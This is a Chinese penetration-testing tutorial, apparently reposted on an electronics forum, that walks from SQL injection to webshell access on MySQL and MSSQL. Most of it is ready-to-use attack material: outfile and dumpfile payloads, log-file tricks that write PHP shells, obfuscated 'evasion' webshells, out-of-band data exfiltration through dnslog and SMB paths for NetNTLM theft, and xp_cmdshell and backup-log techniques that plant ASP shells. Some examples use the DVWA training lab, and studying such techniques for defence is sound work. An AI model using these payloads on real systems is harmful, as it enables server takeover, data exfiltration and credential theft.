0
  • 聊天消息
  • 系统消息
  • 评论与回复
登录后你可以
  • 下载海量资料
  • 学习在线课程
  • 观看技术视频
  • 写文章/发帖/加入社区
会员中心
创作中心

完善资料让更多小伙伴认识你,还能领取20积分哦,立即完善>

3天内不再提示

SQL注入到Getshell的教程

我快闭嘴 来源:哆啦安全 作者:云天实验室 2022-09-21 14:45 次阅读

0x00 前言

上一节,我们已经介绍了基本的SQL查询语句,常见的SQL注入类型,DVWA靶场演示SQL注入。学习了上一节我们可以做到执行任意SQL语句,主要可以对数据库的数据进行操作,但是不能对服务器和应用进一步控制,本节就介绍下在有sql注入的情况下如何进行下一步的渗透,获取到服务器权限。

0x01 Getshell

这里我们还是以上一节说的DVWA靶场为例,利用SQL注入漏洞写入webshell获取网站权限。

目标环境:

PHP+MYSQL+LINUX

前提条件:

- mysql 是root权限

- 知道网站在服务器上的物理路径,且可写

- 没有过滤单引号

- `PHP`的`GPC`为 off状态

- mysql <= 5.6.34

当`secure_file_priv`的值没有具体值时,表示不对`MySQL`的导入|导出做限制

SHOW VARIABLES LIKE "secure_file_priv";

如果是null,表示`MySQL`不允许导入导出。(NULL不等于没有空)

而且在`mysql 5.6.34`版本以后 `secure_file_priv` 的值默认为NULL,并且无法用`SQL`语句对其进行修改,并且会报错如下:

e96a5a74-3964-11ed-9e49-dac502259ad0.png

`docker run -itd --name dvwa1 -p 8111:80 vulnerables/web-dvwa:1.9`

下载低版本的mysql测试

e990297a-3964-11ed-9e49-dac502259ad0.png

利用outfile和dumpfile,**outfile会在每行添加反斜杠,可导出多行,dumpfile只能导出一行,不会添加反斜杠,适合导出二进制文件:

```?id=1' UNION ALL SELECT 1,'' into outfile '/tmp/info.php'#?id=1' UNION ALL SELECT 1,'' into dumpfile '/tmp/info.php'#```

如果不能使用union查询可以使用`fields terminated by`与`lines terminated by`:

```?id=1' into outfile '/tmp/info.php' FIELDS TERMINATED BY ''#```

修改配置getshell:

```vi /etc/mysql/my.cnfsecure_file_priv= "/"```

小tricks:

利用日志文件getshell

```show variables like '%general%';  --查看配置,日志是否开启,和mysql默认log地址(记下原地址方便恢复)set global general_log = on;    --开启日志监测,默认关闭(如果一直开文件会很大的)set global general_log_file = '/var/www/html/info.php';    --设置日志路径select ' phpinfo();?>';    --执行查询,写入shell
--SQL查询免杀shellselect " $sl = create_function('', @$_REQUEST['klion']);$sl();?>";SELECT " $p = array('f'=>'a','pffff'=>'s','e'=>'fffff','lfaaaa'=>'r','nnnnn'=>'t');$a = array_keys($p);$_=$p['pffff'].$p['pffff'].$a[2];$_= 'a'.$_.'rt';$_(base64_decode($_REQUEST['username']));?>";
--慢查询写shell,只有当查询语句执行的时间要超过系统默认的时间时,该语句才会被记入进慢查询日志。为什么要用慢查询写呢?上边说过开启日志监测后文件会很大,网站访问量大的话我们写的shell会出错show global variables like '%long_query_time%'    --查看服务器默认时间值show variables like '%slow_query_log%';    --查看慢查询信息set global slow_query_log=1;        --启用慢查询日志(默认禁用)set global slow_query_log_file='C:\phpStudy\WWW\shell.php';  --修改日志文件路径select ' @eval($_POST[abc]);?>' or sleep(11);        --写shell```

0x02 OOB

利用mysql的函数,把信息传递到外网控制的机器,例如文件读取的函数,其实是对上面利用的一种变形和深度利用

前提条件:

- mysql <= 5.6.34

跟上面一样**secure_file_priv**,在5.6.34之前是空值,之后被设置为null,直接被禁止了

```select @@version into outfile '//192.168.126.149/temp/o';select @@version into dumpfile '//192.168.126.149/temp/o';select load_file(concat('\\',version(),'.dnslog.cn\a'));select load_file(concat(0x5c5c5c5c,version(),0x2e6861636b65722e736974655c5c612e747874));```

这里可能被利用窃取NetNtlm或者SMBrelay

responder -I eth0 -rv

e9aaf5b6-3964-11ed-9e49-dac502259ad0.png

0x03 MSSQL 执行命令

当碰到windows服务器上web应用有MSSQL注入时,可利用注入执行命令写webshell等

前提条件:

- SQL Server 2005以后默认关闭,需要手动开启

查看xp_cmdshell是否开启,并且使用语句开启:

```exec sp_configure 'show advanced options', 1; RECONFIGURE;  exec sp_configure'xp_cmdshell', 1; RECONFIGURE;```

执行命令:

```exec master..xp_cmdshell 'whoami';```

如果xp_cmdshell被删除,我们可以利用xplog70.dll恢复被删除的xp_cmdshell

```Exec master.dbo.sp_addextendedproc 'xp_cmdshell','D:\xplog70.dll'```

这里就涉及到上传文件:

1.利用sql语句写入

```exec sp_makewebtask  'c:\windows\temp\xx.dll','select''<%execute(request("cmd"))%>'''```

2.利用命令执行,写入或下载

```exec xp_cmdshell 'echo "<%execute(request("cmd"))%>">> c:\windows\temp\xx.dll)'```

3.db权限

```目录情况:create table temp(dir nvarchar(255),depth varchar(255),files varchar(255),ID int NOT NULL IDENTITY(1,1));-- insert into temp(dir,depth,files)exec master.dbo.xp_dirtree 'c:',1,1-- select dir from temp where id=1  通过修改id来遍历目录写数据 alter database 数据库名 set RECOVERY FULL  开启恢复模式full,当恢复模式为 SIMPLE 时,不允许使用 BACKUP LOG 语句。create table test(str image)-- insert into test(str)values ('<%execute(request("cmd"))%>')-- backup log 数据库名 to disk='c:可读写路径x.asp'-- 这里的目录注意是可读写目录,不然会出问题alter database 数据库名 set RECOVERY simple-- 关闭恢复模式full```

其他:

- COM组件利用

- CLR利用

- SQL Server 2016 R利用

- SQL Server 2017 Python利用

- 沙盒利用(openrowset)

- Agent Job利用

0X04 总结

SQL注入到Getshell

审核编辑:汤梓红
声明:本文内容及配图由入驻作者撰写或者入驻合作网站授权转载。文章观点仅代表作者本人,不代表电子发烧友网立场。文章及其配图仅供工程师学习之用,如有内容侵权或者其他违规问题,请联系本站处理。 举报投诉
  • 服务器
    +关注

    关注

    12

    文章

    9143

    浏览量

    85387
  • SQL
    SQL
    +关注

    关注

    1

    文章

    763

    浏览量

    44126

原文标题:SQL注入到Getshell和OOB

文章出处:【微信号:哆啦安全,微信公众号:哆啦安全】欢迎添加关注!文章转载请注明出处。

收藏 人收藏

    评论

    相关推荐

    sql注入原理及预防措施

    SQL注入就是通过把SQL命令插入Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。对于很多网站都有
    发表于 03-21 14:47

    SQL注入扩展移位溢注

    SQL注入扩展移位溢注
    发表于 09-07 15:06 11次下载
    <b class='flag-5'>SQL</b><b class='flag-5'>注入</b>扩展移位溢注

    基于SQL注入攻击检测与防御的方法

    显露出来,这些给人们的生活、工作、学习都带来了巨大的损失。面对Web 网站存在的种种安全漏洞问题,文章通过对大量SQL注入攻击报文的攻击特征进行总结分析,结合SQL注入攻击的攻击特征和
    发表于 10-31 10:57 18次下载
    基于<b class='flag-5'>SQL</b><b class='flag-5'>注入</b>攻击检测与防御的方法

    sql注入攻击实例讲解

     “SQL注入”是一种利用未过滤/未审核用户输入的攻击方法(“缓存溢出”和这个不同),意思就是让应用运行本不应该运行的SQL代码。如果应用毫无防备地创建了SQL字符串并且运行了它们,就
    发表于 11-17 14:07 1.9w次阅读
    <b class='flag-5'>sql</b><b class='flag-5'>注入</b>攻击实例讲解

    网络环境的SQL注入行为检测

    SQL注入攻击是Web应用面临的主要威胁之一,传统的检测方法针对客户端或服务器端进行。通过对SQL注入的一般过程及其流量特征分析,发现其在请求长度、连接数以及特征串等方面,与正常流量相
    发表于 02-23 09:58 1次下载

    一文带你了解安全测试基础之SQL注入

    传说,SQL注入是黑客对数据库进行攻击的常用手段,今天就来介绍一下SQL注入
    的头像 发表于 06-28 11:15 2250次阅读

    训练SQL注入的sqil-labs-master闯关游戏

    训练SQL注入的sqil-labs-master闯关游戏
    发表于 05-14 09:31 0次下载

    SQL注入攻击是什么 SQL注入会带来哪些威胁

    AQL的定义 SQL是操作数据库数据的结构化查询语言,网页的应用数据和后台数据库中的数据进行交互时会采用SQL。而SQL注入是将Web页面的原URL、表单域或数据包输入的参数,修改拼接
    的头像 发表于 08-04 17:40 5133次阅读

    Mybatis的SQL注入审计的基本方法

    SQL注入漏洞作为WEB安全的最常见的漏洞之一,在java中随着预编译与各种ORM框架的使用,注入问题也越来越少。新手代码审计者往往对Java Web应用的多个框架组合而心生畏惧,不知如何下手,希望通过Mybatis框架使用不当
    的头像 发表于 10-17 11:16 1312次阅读

    SQL语句利用日志写shell及相关绕过

    在能够写SQL语句的地方,outfile、dumpfile、drop database等都被禁止,一般进行SQL注入getshell或删库的方式行不通了。
    的头像 发表于 02-03 17:32 1857次阅读

    超级SQL注入工具–SSQLInjection

    支持手动灵活的进行SQL注入绕过,可自定义进行字符替换等绕过注入防护。本工具为渗透测试人员、信息安全工程师等掌握SQL注入技能的人员设计,需
    的头像 发表于 03-07 10:26 2249次阅读

    什么是SQL注入?Java项目防止SQL注入方式总结

    SQL注入即是指web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意
    的头像 发表于 09-25 10:43 972次阅读
    什么是<b class='flag-5'>SQL</b><b class='flag-5'>注入</b>?Java项目防止<b class='flag-5'>SQL</b><b class='flag-5'>注入</b>方式总结

    sql注入漏洞解决方法有哪些?

    什么是sql注入SQL注入(SQLi)是一种执行恶意SQL语句的注入攻击。攻击者可能会利用
    的头像 发表于 10-07 17:29 4847次阅读
    <b class='flag-5'>sql</b><b class='flag-5'>注入</b>漏洞解决方法有哪些?

    什么是SQL注入?Java项目防止SQL注入方式

    Java项目防止SQL注入方式 这里总结4种: PreparedStatement防止SQL注入 mybatis中#{}防止SQL
    发表于 10-16 14:26 606次阅读

    IP 地址在 SQL 注入攻击中的作用及防范策略

    SQL 注入是通过将恶意的 SQL 代码插入输入参数中,欺骗应用程序执行这些恶意代码,从而实现对数据库的非法操作。例如,在一个登录表单中,如果输入的用户名被直接拼接到
    的头像 发表于 08-05 17:36 305次阅读